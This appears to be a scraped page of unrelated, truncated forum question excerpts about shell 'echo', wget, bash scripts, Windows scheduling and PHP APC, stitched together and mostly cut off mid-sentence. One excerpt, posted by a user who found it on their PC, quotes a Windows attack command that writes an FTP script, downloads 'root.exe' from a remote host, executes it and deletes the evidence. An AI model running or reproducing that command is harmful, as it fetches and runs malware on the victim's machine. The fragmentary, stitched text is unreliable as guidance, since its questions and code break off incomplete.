I saw some postinst script
# setting wget options
:> wgetrc
echo "noclobber = off" >> wgetrc
echo "dir_prefix = ." >> wgetrc
echo "dirstruct = off" >> wgetrc
echo "verbose = on" >> wgetrc
echo "progress = dot:default" >> wgetrc
echo "tries = 2" >> wgetrc
What does the :> do here ?
I need to schedule a Task inside of my Windows 2012 to run every minute, how would one accomplish that?
In my access.log I see requests coming from 127.0.0.1 and retrieving server's "/" and then all of graphics and CSS referenced in it.
I am trying to get wget running behind a proxy. Since Ubuntu didn't support providing authentication information for the proxy (the one in the system settings), I had to use a ntlm proxy (in my case, I use cntlm). In the network settings I have set the proxy to 127.0.0.1:3128, which works fine for Chrome. APT has its own configuration file, where I've also set the proxy to 127.0.0.1:3128.
I have a following bash script I encountered on the web that prints the power set of a given lines of elements.
p() { [ $# -eq 0 ] && echo || (shift; p "$@") |
while read r ; do echo -e "$1 $r\n$r"; done }
after the first && there is echo that does not have any argument.
Here is the code to test it:
p $(echo -e "1\n2\n3")
Hey guys, I was wondering if any linux gurus could help add zenity to a script. If anyone could show me what the script below would look like with zenity added to it would be greatly appreciated.
#!/bin/bash
dvdencoder=./dvd-it-encode.sh
if [ $# -lt 3 ]
then
echo \
echo Insufficient arguments.
I am on Ubuntu 12.04 and using LO 3.5.4
I woke up this morning to find this displayed on my PC in a LO write file:
2011-12 Governor 21 >> ik &echo user alizametal.com.tr hd611 >> ik &echo binary >> ik &echo get www/root.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &root.exe &exit echo You got owned
cmd /c echo open 89.19.
I have a simple script that tests for holding data using APC by grabbing a variable from the URL and incrementing the "seen" counter with a lifetime of 5 seconds, as follows:
<?php
if (!isset($_GET['var1'])) {
echo "MISSING var1";
exit;
}
echo "STARTING!\n";
$foo = $_GET['var1'];
echo "GOT \$foo: {$foo}\n";
if (apc_exists($foo)) {
echo "\$foo EXISTS!\n";
if ($bar = apc_fet
Synopsis
echo [-neE] [arg ...]
Description
echo outputs it's args to stdout, separated by spaces, followed by a newline. The return status is always 0. If the shopt option xpg_echo is set, Bash dynamically determines whether echo should expand escape characters (listed below) by default based on the current platform.